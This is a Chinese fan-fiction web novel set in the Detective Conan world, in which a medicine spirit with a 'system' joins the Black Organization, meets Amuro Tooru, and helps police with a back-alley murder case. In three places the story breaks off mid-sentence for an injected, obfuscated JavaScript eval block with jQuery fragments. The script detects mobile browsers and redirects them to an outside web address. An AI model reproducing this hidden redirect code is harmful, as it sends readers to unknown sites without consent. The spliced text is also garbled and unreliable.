《头孢冷傲退真酒》
1. 一颗头孢
他觉得自己要死了。
巷子深处,中年男人倒在逐渐扩大的血泊中央,身子抽搐,内心满是不甘。
可即便听到警笛后拼命用手肘撑起上半身、朝着巷口爬去,身中数枪的他也知道自己没有时间了。
但不行…绝不能让资料落到警方手上……该死的,上头说的干部怎么还不来交接?
不是说已经到了吗!
对任务失败的恐惧盖过一切。中年人此刻只想爬得快点、再快一点,避开警察的搜索,将资料交给该死的交接人,而不是被抓走。
不然等待他的可就不止死掉那么简单了。
“…嗯,贝尔摩德?是我……”
思绪定格,冷淡的男声混着雨丝飘进耳朵。中年人蓦地怔住,下一秒直接朝声音传来的方向爬出残影!
爬爬爬爬爬爬——!
他发了疯似地爬行,被子|弹洞穿的胸口和腿在地上拖出歪曲的血痕,有石子嵌入血肉也不管不顾。
拐过巷口,一道撑着白伞的人影倏然出现,漫步姿态从容得与周遭格格不入,看得中年人眸中希冀迸射,嘴里发出嗬嗬的嘶吼:
“快、快带我……走…!”
不会错的。对方说了贝尔摩德这个名字,这是大人物才会有的酒名代号,那此人必定是来交接的干部!
——救他!!
在中年男人的期待下,白色之人将伞柄在掌心转了半圈,这才停住脚步。
雨丝斜织,小巷泥泞不堪。面前的青年却穿着一套纯白风衣,款式类似白大褂,衣领处漏出像是无菌服的衣物,身形瘦削却不虚弱,反而透着股韧竹般的力道。
对方在他看去时抬起伞,露出一张年轻却苍白的脸,就连发色也是惨淡的白,仿佛被黑暗所不容。
最引人注目的是那双眼睛,冷静、专注,如同两枚浸在冰水里的黑曜石,扫过来时割开皮肉,让他胸腔内的一切龌龊无处遁形。
——像一把用来丈量生命的手术刀,随时都会给予他一场利落的终结。
这、这就是他的交接人?虽然年轻,可看起来就神秘莫测,不愧是干部!
鼻息间飘来无糖衣药片的清苦气味,思维发散下,中年人忽然感觉心脏跳得有些快,意识也在药味的缠绕中如病菌般化开,却听一阵衣料窸窣。
他立即回神,就见青年垂眸锁定了他的眼睛:
“你想让我救你?”
没等他说话,白发青年便单手撩起衣摆,在确保衣服没有沾上泥水后才蹲下身。
可就在中年人以为对方会救他,或是让他交出U盘时,却见对方从怀中摸出一个纸包,打开是白色粉末,再看他时语气冷漠:
“可生死之争向来如此,你已经没有机会了。”
中年人:?
似乎怕他没听清,白发青年嘴角勾起一个僵硬的弧度,一字一顿道:
“我的意思是,你该死了。”
中年人赫然回神,“等等、我是来——呃!”
药粉均匀地洒在伤口处。白发青年起身,仿佛不是将不知名粉末撒到别人伤口上,而是日行一善般,堪称诚挚地双手合十:
“这是我身上最后一包安眠药,因为你看上去要死了,所以我用它为你送行。你放心,安眠药纯度很高,数到0即可拥有婴儿般的睡眠。”
“那么下辈子见,不知好坏的细胞君。”
他顿了顿,补充道:“0。”
中年人:…@#¥%?!
什么叫细胞?他是人啊!不,不对,为什么要害他,他们明明是一伙——!
【叮,您的任务对象已死,任务失败。】
【已失败任务:233次,共计接收任务:234次,世界平衡进度:10%。】
“还是10%么……看来他并不是坏细胞,在这个世界杀菌真难。”
将包安眠药的油纸细细叠好,白发青年眼见中年人紧急去世,跟着一歪头,还没等再说什么,耳边无情的电子音突兀变作富有人味儿的肮脏高音:
【嗷啊啊啊啊啊抱歉宿主我来了!任务如何…怎么又死了!】
系统当场爆哭:【抱歉,是我通知晚了,不然他不会死的!】
白发青年将被细雨沾湿的风衣拍了拍,看向离他几步之遥的巷口,目光悠远:【无碍,我已经习惯了。】
系统:【……嘤!】
你这么说它更愧疚了啊!
把血泊中的人拉起,白发青年贴心地将男人搬到不会挡路的墙边,又将头扶正。
在看到从男人口袋里滑出的U盘时,他想了想,还是将之拿起收好,眉眼低垂:【我并非责怪你,只是可惜连好细胞的名字都不知道。】
系统一下子支棱了,【没事没事,U盘里或许有他被杀害的证据和基础信息,我们可以等晚上看。】
它说着叹了口气,又开始谴责自己:【都怪我被黑方侵蚀得太虚弱,连目标人物的基础信息都加载不全……】
青年摇摇头,打断系统:【不怪你。明明在我的世界,从白血球到血小板都会自觉写上编号,结果这个世界就没有,只能说这个世界的细胞觉悟太低。】
系统:【…】有没有可能,它就是这个世界的世界意识?
不要光明正大地蛐蛐别人啊!
系统欲言又止,可它没说出来,二十年了,它早就放弃纠正此妖精的逻辑。
——是的,妖精。
站在巷子里的白发青年并非人类,而是头孢妖精。
在一粒米也能成神的国度,尽管药物成精也情有可原,可头孢却是另一个世界的奇迹。
机体感冒时被口服使用的头孢,杀死最后一个细菌后尚未擦掉脸上的血,就被一束金光带走,至此功德圆满立地成精,掉进了名为【黑化柯学界】的小世界。
而【黑化柯学界】的世界意识正愁没人帮它消灭病毒一样增殖的黑方、让世界恢复原来的样子,天上就掉了这么个相性极高的杀毒软件。
世界意识当即化作系统,与头孢签订了契约,希望头孢削弱过强的黑方,恢复红黑平衡,按照头孢的理解就是杀菌。
只是契约者目前为止战况嘻人,234次战绩愣是只有第一次成功完成任务,这还是任务对象自己白给的。
但因为头孢是在它的看管下,从小长起,它看头孢就像看孙子一样,充满了慈爱:
【好了,事不宜迟。贝尔摩德不是说,今天找人接你去基地的医疗部报道?继续留在这里可不好哦。】
头孢也清楚此地不宜久留,他最后瞥了眼路边的尸体,微微颔首:
“嗯。”
很遗憾,这个出血量,就算他有心救治,救护来得及时,对方也活不下去。毕竟他随身携带的药只能杀不能救,最近的医院距此却有十分钟的车程。
一切都结束了。
而留在这里,被出警的细胞发现会洗不清,他不希望浪费时间在解释上。
过往的经验告诉他,此世的细胞大多缺乏耐心,总在他阐述完自己的观点之前就强行打断,完全不像小阵那样又耐心又有礼貌。
避开他们吧。
撑着伞迈出暗巷,头孢并未选择会被人发现行踪的大路,而是抄小道赶往约定地点。
那里离这处巷弄不远。可错综复杂的石板路将区域分割,雨水也又湿又滑,头孢索性在拖长的时间里思考起自己的任务。
除了第一次降落时他砸在幼驯染的脸上,将平衡进度条往前推了10%,此后直至警校毕业、博士毕业,他也没再遇到能够左右进度的关键细胞。
可就在一周前,一次偶然机会,头孢救下了名为莎朗·温亚德的外国细胞,没想到对方竟是系统口中病原体组织的高层干部。
面对干部的邀请,头孢欣然应约,摇身一变成了对方介绍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149327|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的医生,今天就要正式进入组织、上岗工作了。
“只是贝尔摩德单说波本会来接我,却没告诉我波本长什么样子。”
抬腕看了眼手表,时针已指向正午十二点。不需要进食的妖精站到约定的废弃报刊亭前,四周却并无一人,唯有雨水敲打铁皮顶棚的单调回响。
系统开始忐忑:【不会是贝尔摩德察觉到你是派来的公安卧底,故意设局,打算把你抓起来吧?】
“不会。”白发青年语气平稳,“她在邀请我之前应该做过背调,毕竟那是你和上司口中很强大的恐怖组织。况且……”
在系统期待他的下文时,头孢左手探入白大褂内侧,指尖逐一拂过藏起的一排针管,眼神顷刻犀利:
“我身上还有100支头孢注射液,23支麻醉剂,足够解决大队杂菌。就算不够,也可以给菌来一场拳拳到细胞壁的肃清。”
为了潜入病原体,他已经耐心蛰伏了二十年。
“所以就算今天来接头的波本不是人形,而是长着一万根鞭毛、像个卡车一样撞过来的大型杂菌,我也有信心让对方有来无回。”
系统尖叫:【你不要有这种奇怪的觉悟啊!俺们世界的人类外形都很正常,最多个别人的头发五彩缤纷了点,不要戴着有色眼镜看人!】
头孢疑惑:“我哪有眼镜?”
系统:【啊啊啊!!】
在系统的尖锐爆鸣里,头孢将身上的装备清点好,准备离开这里看看究竟怎么回事。
系统的担心不多余。无故放他鸽子,且没有任何提前通知,也不告诉他接应者的特征,或许对方真发现了什么。
如此思索,头孢一边走,一边垂眸倾听周围的动静,本就近乎为零的呼吸也放缓至无,直到雨水的淅沥都逐渐停歇——
突然之间,有风。
有风自耳畔吹入。风声,雨声……脚步声。
脚步声越来越近,细微的震动由砖石率先知晓,整个世界在水洼的倒影中支离破碎。
雨点重新变大的那一刻,头孢听着直奔他而来的踩水声,拿着针筒的右手指节蓦然收拢,却在分辨出只有一人时滞住。
病原体细胞?杀掉蓝领带的真凶?另一种势力?还是无辜者?
电光火石间,他已做出选择。
针筒重新滑入内侧的暗袋,同一时间,他任凭白伞坠地,双手就此解放,旋即眸光一厉!
黑影袭来,头孢侧身迎上半步,左臂横拦在来人的腰际,顺势一拉,将那股冲劲引向自己。
来者顿时失去平衡,还未稳住身形,另一只手便如铁钳般自下而上探出,扣住那只试图挥动的手腕,拇指死死抵住腕骨——
一拧、一压。
标准的反关节擒拿,一气呵成。
左手封住来犯者的嘴,指节卡死下颌,杜绝对方任何呼喊或咬噬的可能,最后将人掼到墙上,头孢这才松了口气,看清了那一缕挣脱兜帽束缚、掠过眼前的发丝——
灿如曜日,匆匆闯入他的视野。
那颜色过于耀眼,与阴雨天格格不入的反差让头孢愣了不到一秒,被制住的金发男人就爆发出惊人的反抗力道!
“唔……!”
指缝间挤出压抑的喘息,男人奋力挣动,让头孢不得不加力,膝盖死死顶住对方的腿弯。
可下一秒,反扑的力道潮水般退去。
掌心下的身体突然变得虚软,只有胸腔在剧烈起伏。
被堵在口中的挣扎还想脱离控制,可本人却已偃旗息鼓。后颈处裸|露的蜜色肌肤从头孢的角度看,更是以肉眼可见的速度泛起潮红,像螃蟹被蒸熟了。
头孢怔住。
这是发烧了?只是淋了不到半分钟的雨?
正想着,沉寂已久的系统突然喜极而泣:【宿主宿主!检测到关键人物!】
【是与那个组织有关的关键人物啊!宿主!】
2. 两颗头孢
【叮!恭喜新人物解锁——】
【姓名:安室透(无辜阳光的咖啡店员工,侦探,??)危险评级:A+;状态:寻人中(黑西装、蓝色领带的中年男子,??)】
【紧急任务发布:□□安室透】
【任务描述:苍穹上高悬的一定是太阳吗?请不惜一切手段□□安室透,让安室透记住你。】
【任务奖励:商城积分x1000,系统阵营识别能力。】
【失败惩罚:世界平衡进度永久性丢失15%。】
电子音播完,系统喜极而泣:
【二十年,整整二十年啊!除了那个凶恶银毛和贝尔摩德,我就没见过别的关键人物!】
头孢认真反驳:【小阵一点都不凶,他只是工作认真,还有那个□□是什么?】
顿了顿,他决定表达自己的担忧:【你连任务都显示不全了?】
系统噎住:【是任务自己没显示全!】
这真不是它的锅啊!
【不过你说得对。】停顿片刻,系统声音疲惫:【一直抵抗侵蚀太耗能,我得休息一下,希望等我醒来你已经完成任务了。】
最好一觉醒来进度100%,它真的不想跟侵蚀作斗争了!
听系统没了声音,习惯对方神出鬼没的头孢垂眸,看向那头近在迟尺的金发,缺乏表情的脸上破天荒掠过一丝凝重。
这次的任务显然与平时不同。一旦失败,世界平衡度就会永久失去15%,相当于身体即便痊愈,也会留下不可逆的损伤。
这对使命便是杀灭杂菌、让机体恢复健康的他来说,是难以接受的结局,所以他必须弄清楚这个□□是什么。
收回思绪,头孢的注意力集中在金发男人身上,发现对方的确与描述相符。
发色阳光醒目,周身被咖啡的香醇气息包裹,后脑勺都比别的细胞圆润,再加上淋雨就发烧的体质,怎么看都是个脆弱无辜好细胞。
任务提及对方要找两个细胞。其中的‘西装蓝领带’与被杀掉的细胞吻合,可‘蓝领带’的死亡并未提升世界平衡度,证明对方是好细胞,那这两个好细胞应该是同伴。
再结合[与组织有关才是关键人物]的经验,‘蓝领带’的死肯定与组织有关,那作为同伴的安室透也极有可能被组织盯上。
综上所述——
□□的意思,应该是【保护】。
危险度A+是与组织有牵扯,那他的任务就是用一切手段保护安室透,让对方记住自己么……嗯,这好办。
那么接下来就解开误会,再把对方送到安全地点吧。
打定主意,头孢凑到男人耳边,声音压低,“抱歉,我不是有意弄痛你,只是没想到你这么容易抓,我为我的失礼道歉。”
这话一出口,身下人顿时停止了挣扎,喉间溢出呼噜噜的气音。
鲜少与人打交道,可头孢知道被顺毛的猫咪也会发出一样的声音,顿时安心,乘胜追击:
“我们之间有误会。我数到三,如果你答应不会攻击我,我就放开你,如何?听懂了点头。”
金发男人小幅度点了头。
头孢彻底放心,“好,那我开始数了。”
“三。”
动作与声音同步,钳制男人的手臂骤然一松。
提前两秒到来的自由让金发男人一怔。可下一秒,就在头孢准备交涉的瞬间——那人猛地转身,一记直拳直冲他面门而来!
头孢:!
这细胞怎么偷袭!
被吓了一跳,可妖精表情死的脸很难做出大动作,故而在金发男人的视角里,一身雪白的怪人面对突如其来的袭击,仅是眼底掠过讶异。
然后轻易反剪了他尚且发软的手腕,将他重新咚回了墙上!
“唔!”疼痛让他本能闷哼出声。
“嘘——”
温热气息拂过耳廓,白发青年重新贴近,低声嘱咐,“别害怕,我没有恶意。”
他一顿,似乎想起什么,改口道:“虽然我也并非善类,但只要你乖一点,我保证不会动你。”
差点忘了,他还要加入病原体组织,得给身份打个补丁。
以及看金毛细胞脸红的样子,明显还在发烧,袭击自己大抵也是受惊后的本能,身为医生要对病人有无限耐心才是。
安室透:?
安室透几乎要气笑了。
不分青红皂白把他按在墙上、给他下药,一而再再而三嘲讽他很好抓,如今还用哄小孩的语气让他‘乖·一·点’?
行。很好。
等处理完交易和那个关系户,他绝对、绝对要让这家伙付出代价!
安室透,本名降谷零,代号波本。此次前来一是为取得敌对帮派的资料,二是替千面魔女贝尔摩德接一个人。
他欠那女人一份人情。所以当对方深夜来电,请他去接‘一个有趣的小朋友’时,安室透并未拒绝。
接应点离兼职的咖啡厅很近,离回收U盘的位置也不过三条街。
而且他确实好奇,能让那个精明女人不惜耗费人情也要接,还不告诉他特征、据说‘一眼就能看出来’的家伙,究竟是何方神圣——
然后就没有然后了。
刚拐进小巷就被袭击。白发青年力道大得像只猩猩,一只手捂住他的嘴,另一只手将他死死压在墙上。
安室透尝试反抗,可鼻息间却飘入一丝冷香。紧接着,他的心脏开始不受控制地狂跳,四肢发软,连站都站不稳,还是借着墙壁与男人身体的桎梏才没滑到地上。
——是药。
并非单纯的肌肉松弛剂,倒像是催|情药物,可似乎又没有最主要的催|情功能……这家伙是谁派来的?
咽下想把对方打个半死的冲动,安室透声音放软了些,“你想要什么?”
下三滥手段首先排除条子,而他与贝尔摩德的交易外人无从知晓,那就只剩涉及到U盘的敌对帮派,以及……他自己惹上的小尾巴。
体内的燥热与绵软仍如附骨之疽,让他的天平逐渐倒向最后一种可能。
最近几天,他的确有被莫名其妙的家伙窥视。因为实在难抓且没感到恶意,安室透准备任务结束再料理对方,结果人直接跑到了他眼前?
至于为什么不是帮派的人……哈,谁家敌人抓了他会说‘我是好人’这种令人发笑的台词?
见对方肯跟他交流,头孢眉头舒展:“我想知道关于你的事,越多越好,就从你要去哪、做什么开始好了。”
他得先确认金毛细胞是不是要去找同伴,以此验证对方的身份。
安室透无声冷笑,心说想打听他的人多了去了,这人果然是跟踪狂,嘴上编起瞎话:
“我和朋友约好陪他去医院检查身体,要去前面的巷子见面。”
“原来如此。”
头孢不疑有他,心道果然是死细胞的朋友。他想了想,语气平静地宣布:
“那很遗憾,前面似乎发生了命案。警察在附近查,看样子凶手说不定还徘徊在四周,你不能去。”
万一组织的人在附近就太危险了。
安室透瞳孔一缩,“前面?”
“是,前面三条街的位置。”
安室透的心沉了下去。
按理说,他的交接人会提前五分钟联系他,现在已经过了时间,他的手机却没动静,再加上命案发生的方位……
啧,关系户没接到,交接人也凶多吉少么。
不行。他目前四肢无力,无法与这个白毛大猩猩抗衡,得先服个软,再找机会联系贝尔摩德换个接应地点,然后找人挽回一下任务。
他并未问对方怎么知道发生了命案,只是试探道:
“既然前面有尸体,我不能去,那我们继续僵持在这里也不安全吧。要不要……去更私密的地方聊?”
说话间,他动了动被白发青年卡住的双腿。动作轻微,可大腿内侧的布料不可避免地磨蹭过对方的腿,皮肉隔着湿透的西裤传递出异常温热,让头孢恍然。
果然……金毛细胞明显更烧了,必须尽快给对方治疗!
于是头孢点头:“好,那你有地方推荐么?”
将金毛细胞送去安全地带,打个退烧针,看看任务能不能完成。哦对,还要给贝尔摩德发消息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149328|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他得让波本换个见面地点,免得对方还在原地傻等,被出警的细胞抓了。
为这人与冷淡外表不符的急色挑眉,安室透掩去眸中算计,笑着温驯无害:
“有倒是有,不过我们先去前面那条街的咖啡厅如何?”
他抛出诱饵,语气自然,“我在那里兼职,休息室有干净衣物和毛巾,我们可以先换身衣服,再去我家里慢慢聊。”
到那时,他有无数种方法撬开这人的嘴,甚至能让这不知死活的跟踪狂‘硬’着进来,‘硬’着出去……不过他得先把对方下的药搞到手。
感受着身体里依旧翻腾的‘药效’,安室透笑得愈发甜蜜。
他试过那么多乱七八糟的药物,抗药性一流,今天却被催|情药摆了一道。他绝对会把药效十倍百倍地奉还,让对方体验一下什么叫求生不得求死不能。
——这就是波本,睚眦必报。
不清楚对方的恐怖想法,头孢只觉金毛细胞终于配合了,痛快答应:
“可以。那我现在放开你,但你要承诺,不能再攻击我。”
“好。”安室透选择成交。
头孢松开手,见金发男人只是揉了揉被掐红的手腕,并无进攻动作,便欣慰地捡起两把伞,用消毒湿巾擦干净,递给对方黑伞,又给贝尔摩德发去邮件:
[让波本去波洛咖啡厅等我,我这边遇到了一点突发情况,需要处理。]
希望波本别傻到被路过的警察抓走。
安室透接过伞,借着伞面与身体的遮掩盲打邮件:
[让那个人来波洛咖啡厅,告诉他无论遇到什么都别轻举妄动,我这边要解决点麻烦。——B]
但愿那个关系户别蠢到自投罗网。虽然他不在乎那人的死活,但贝尔摩德的人情总不能还一半重新还。
他想了想,又给另一个号码发了条邮件,才不动声色缩回手,抬头却见白发青年已转身朝巷口走去,毫不在意地将整个后背暴露给他。
被轻视的恼怒混合着药效的燥热轰然上涌,让安室透那对紫灰色的瞳孔在阴影下暗沉几分。
他咬咬牙,迈步跟上——
“…喂。”
“嗯?”
头孢回头。金发深肤的男人举着黑伞,停在原地,见他看来略显懊恼地瞥向湿漉漉的砖墙,声音低得几乎听不见:
“走慢点。”
可恶,你自己下的药什么效果心里没数吗!
跟在罪魁祸首后面,安室透心里将人凌迟八百遍。
直至拐过街角,感受着体力逐渐恢复,心跳趋于平稳,安室透这才定下心,下一秒紫灰色的眼蓦地一颤。
不远处,名为【波洛】的咖啡厅挂上了暂停营业的木牌。
门口的红蓝警灯无声闪动,将警车与潮湿的地面映得光怪陆离。透过玻璃门,安室透能清晰看见至少三名警察的背影,以及正在和警察交谈的同事——榎本梓的侧脸。
一息之间,计划成型。
他忽然上前一步,拉住白发青年撑伞的手臂,在对方看来时粲然一笑:
“竟然有警察呢,真巧啊。”
“哦,”头孢顺着他的目光望去,脚步慢了半拍,“竟然有警察么。”
他那双无高光的眼稍稍抬高一些,像在评估什么,又在感受到手臂上的力道后欣慰点头:
“你运气不错。”
如果能将脆弱的金毛细胞交给执法者保护,就能确保对方不会脑子一热,跑去凶案现场送人头,也是不错的选择。
安室透心中嘲讽更甚,面上笑得愈发甜蜜灿烂,像淋了蜂蜜的毒苹果:
“是啊,运气真不错。那我们现在…?”
差不多该露出马脚了吧?跟踪狂遇到警察多少都会有反应,他几乎能想象对方下一秒就找借口离开——
“那事不宜迟,我们进去吧。”
安室透:?
白发青年说着,不仅没有挣开他,反而将那他的手臂反手扣住,力道温和却不容逃脱。
他朝安室透点点头,语气郑重:
“走,我把你交给警察。”
安室透:??????
3. 三颗头孢
五分钟后。
阴雨天的咖啡厅内,雨水的气息与咖啡香气纠缠。目暮警官坐在靠门的餐桌前,目光于金发男人与白发青年之间来回扫视。
“姓名?”
“安室透。”
“青岛纯生。”
安室透眉梢极轻微地跳了一下。
“那个,”女店员榎本梓好奇地眨眨眼,“青岛先生的名字,好像是隔壁国家的一种酒?”
“对,是一种以地名命名的啤酒。”头孢颔首,“因为喜欢啤酒,所以改了这样的名字。”
一旁做记录的年轻刑警忍不住感慨,“真是随性啊,这么做之后父母不会叨叨个不停吗……”
头孢摇头,“那倒不会。”
因为系统在让他换个入乡随俗的名字时,就把唠叨额度用光了。至于为什么与故乡的啤酒重名,纯粹是因为系统说取个酒名能提高遇到组织的概率。
想起沉睡的系统,妖精担心地蹙起眉,但还是认真回答:“我没有父母。”
只有系统。
年轻刑警手中的笔‘啪嗒’掉在桌上:“…请、请原谅我的失礼!!”
“咳咳!”瞥了眼下属,目暮警官公事公办道:“抱歉提起伤心事。但还请两位说明一下——上午十一点五十到十二点十分,你们在哪里?做了什么?衣服又是怎么回事?”
他视线扫过二人已换过的衣物。他们进店时浑身湿透,显然在雨中待了不短的时间。
“我先说吧。”
看了白发青年一眼,安室透善解人意地接话道:
“十一点五十分我刚好下班,就跟梓小姐请假去前面的街口见朋友,一起去医院。可还没到约定地点就听到警笛声,接着遇到了这位…青岛纯生君。”
他模糊了谁陪谁去医院的细节,念出那个拗口的名字,便看向榎本梓。
榎本梓用力点头,“是的,安室先生是我们店的员工,他身体一直不太好。”
病弱服务生波本露出恰到好处的无奈笑容,“至于衣服…其实是我发烧烧得头晕,滑了一跤,青岛先生好心扶我,结果两人都弄湿了。”
目暮警官点头,转向白发青年:“那青岛先生呢?你当时在巷子里做什么?”
“我么……”
头孢在思考。
他不能说自己刚从凶案现场离开,也不能透露组织的存在。更重要的是,他得保护好金毛细胞,不让对方卷入危险。
“我在等人。”他选择透露部分真相,“但待得无聊,再加上附近发生了案件,就想去看看,结果碰见了安室先生。”
目暮警官眼神一凛,“你怎么知道发生了案件?单凭警笛声?”
咖啡厅内的视线瞬间聚焦。安室透眯起眼,就见白发青年慢条斯理地将手臂搭在桌子上,双手交叠撑住下巴,嗓音低沉:
“不。是因为我能嗅到犯罪和生病的味道。”
他顿了顿,纯黑的瞳孔里毫无波澜,“看到安室君时,我知道他不舒服,再加上嗅到前面案件的气息,担心他往前走会有危险,所以我让他找个安全的地方换衣服,顺便给他治病。”
目暮警官干笑两声:“哈哈,青岛先生真会开玩笑……”
嗅到犯罪和生病的味道?这又不是警犬。
安室透微笑:“是的,还要多谢青岛君呢^-^。”
担心他有危险?药是从你手上被动飘出来的对吧!
见对方咬死无辜人士的身份,安室透转头状若无意地问道:
“目暮警官,您说的案子受害者有什么特征么?我是兼职侦探,多少可以帮忙找找线索,况且我人在这里工作……”
他脸上的忧虑毫不作伪,紫灰色的眼在暖光下显得格外真诚。
目暮警官不自觉松了口风,“喔…受害人是中年男性,黑西装蓝领带,身上有多处枪伤,现场也有挣扎和爬行的痕迹。”
“还有就是,”他停顿片刻,压低声音,“他的伤口处有白色粉末,但具体成分还要送去鉴识科分析。”
“枪伤和…药么,”安室透眼中灵光一闪,余光瞥向白发青年,“我以为,这附近的治安在东京还算不错。”
“我们也觉得很蹊跷,”胖警官皱眉,“更奇怪的是,死者身上没有任何身份证明,钱包和手机都不见了……”
头孢的手隔着口袋摸向那枚U盘。
钱包手机不是他拿的,U盘倒是,可他不打算交给警方。
组织的情报交上去只会打草惊蛇,而交给看上去脸色阴沉、在为同伴伤心的金毛细胞就更不行,万一对方被杂菌伤害了怎么办?
而且说到杂菌……波本怎么还没来?不会真被免疫细胞抓了吧?
他下意识瞥向门口。雨小了很多,天气依旧阴沉。
安室透将对方的小动作尽收眼底,心中冷笑。
呵,看来这家伙面对警察也不是无动于衷,这样坐立不安是想走?
可惜一时半刻走不了,而他早就联系外面的人调查案件情况了,现在只剩那个关系户没碰面。
但那家伙,该不会被警察抓了吧?
转念一想,心说抓了也算对方实力不济,安室透看向身旁眼神放空的白发青年,紫灰色与深沉的黑一触即分,便转向胖警官,身子前倾:
“目暮警官,那我和青岛先生还需要做正式的笔录吗?”
目暮警官正要开口,手机响了。
“喂?什么……抓到了?!”他的声音骤然拔高,“好,我们马上过去!”
挂断电话,他转向二人:“案件有新进展。我们在案发现场抓住了一名形迹可疑的男子,你们暂时留在这里,稍后……”
“警官,我能一起去么?”安室透突然开口,面色凝重,“毕竟我和青岛先生当时在附近,也许能提供线索。”
见保护对象要跑,头孢也站起来,“我也去。”
万一那个可疑男子就是杀害死细胞的凶手,金毛细胞被怒火冲昏了头脑怎么办?他必须在场保护对方。
笃定对方会跟上来,安室透心中笑意更甚。
目暮警官犹豫片刻,点头:“好吧,但必须跟在警员后面,保持距离。”
再次来到后巷,雨已经完全停了,空气依旧潮湿阴冷。
头孢远远就见两名警察按着一个浑身泥泞的男人。那人约莫三十多岁,脸上有道狰狞的疤,眼神凶狠,嘴里骂骂咧咧。
“警部,就是他!”
年轻巡查小跑过来报告,“我们在附近巡逻时发现他鬼鬼祟祟地在巷口张望,一见我们就跑,抓住后从他身上搜出了一把带血的刀!”
“我知道了,”目暮警官走上前,“你叫什么?和死者什么关系?”
地上的男人抬眼,眼睛里布满血丝,声音嘶哑:“哈哈,是我杀的!那混蛋害死我弟弟,我找了他三个月!他该死——!”
“冷静点!你说死者害死你弟弟,有证据吗?”
“…你要证据?哈哈哈哈……我弟弟被他逼着给客人舔鞋,最后跳楼了!警察不管,我只能自己动手!三个月……我终于有机会……”
他语速极快,逻辑清晰,尽管最后只是重复着‘复仇’‘该死’之类的字眼,可在场的警察却交换了一个眼神,几乎认定对方是返回现场的凶手,毕竟谁会平白无故认罪?
安室透却眯起了眼睛。
——太完整了。
整个逻辑链条完整得不可思议,可一个有胆子返回现场的杀人犯,绝不该是这种疯疯癫癫的精神状态。
况且,作为组织的情报专家,他对微表情的了解炉火纯青。这人说到弟弟跳楼时,眼底没有悲痛,只有走程序一样的急切。
就像……被人推出来认下罪名、好让案子迅速结案的替罪羊。
得出这一结论,安室透忽而看向旁边的白发青年。
他之前将青岛纯生认作跟踪狂的主要原因,就是对方没有下杀手,还用了那种药,话里话外也是‘我对你很感兴趣’的模样。
可如果对方是刻意引导他,就像这个凶手一样让人先入为主……
“小心!”
“滚开!”
思考间,被按在地上的男人猛地暴起!他挣脱一名警员,从腰带里抽出折叠刀,直直刺向最近的目暮警官!
一切发生得太快。警员们来不及拔枪,目暮警部也只来得及后退半步,安室透正要上前——
“唰!”
一道白影却比他更快切入二人之间。
白发青年没去挡刀,而是侧身一记手刀劈在男人持刀的手腕上。
折叠刀脱手飞出,男人惨叫出声。未等他反应,头孢就扣住他另一只手臂,顺势一拧,将人重新按倒在地,膝盖抵住后腰。
整个过程行云流水,不超过三秒。
警员们一拥而上,给男人戴上手铐。目暮十三惊魂未定,扭头看向白发青年:“青岛先生,你……”
“他手臂内侧有针孔,今天内应该注射过兴奋剂或是其他药物。”
头孢后撤一步,将金发男人彻底挡在身后,隔绝了地上凶手的怨毒视线,语气一板一眼:
“情绪不稳定可能与此有关,建议查血。以及不客气,维护治安与免疫细胞是我的义务。”
安室透:“。”细胞?
被制服的男人还在嘶吼。为了不让对方再出现什么过激行为,几名警察忙将人拖向警车,吼叫声也逐渐远去。
目暮警官抹了把汗,苦笑道:“最近的罪犯真是越来越猖狂了……还是要多谢你,青岛先生。你学过格斗?”
“一点防身术。”头孢简短回答,视线移向那辆载着凶手的警车。
他说能嗅到犯罪的味道,当然也能闻到无罪的味道。
那个细胞分明没有犯罪,周身也并无同胞被害死的悲痛气息……与组织有关的案子果然不简单,对方或许是组织拉出来替罪的细胞也说不定。
现场调查结束。警方从嫌疑人身上搜出疑似凶器的刀,加上对方主动认罪、袭警等行为,这起命案多半会以‘复仇杀人’结案。
目暮警官向两人道谢后带队离开。巷子重归寂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149329|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静,只剩地上的血迹昭示着曾发生过什么。
安室透看向白发青年,语气里带着后怕:“刚刚真是太危险了,青岛先生没事吧?”
“没事。”头孢端详着他的脸色,“倒是你,烧退了吗?”
安室透笑笑,心中更加警惕,“好多了,可能是吓出了一身汗吧。说起来,您之前说自己是医生,是在哪家医院工作?”
青岛纯生……这人的身份究竟是什么?
身手不凡、行为怪异,又出现在敏感的时间地点。如果是普通跟踪狂,为什么要卷进这种案子?而如果是帮派成员,为何一开始不对他下杀手?
而现在,这人为什么看起来是单纯在关心他——
“因为我是医生。”
“……什么?”
紫灰色的眼微微睁大。安室透就见白发青年将手揣进口袋,黑曜石般的眼看过来,洞察一切一般:
“你身上都是疑惑的味道。如果你在疑惑我为什么关心你——因为我是医生,帮助你是我的任务。”
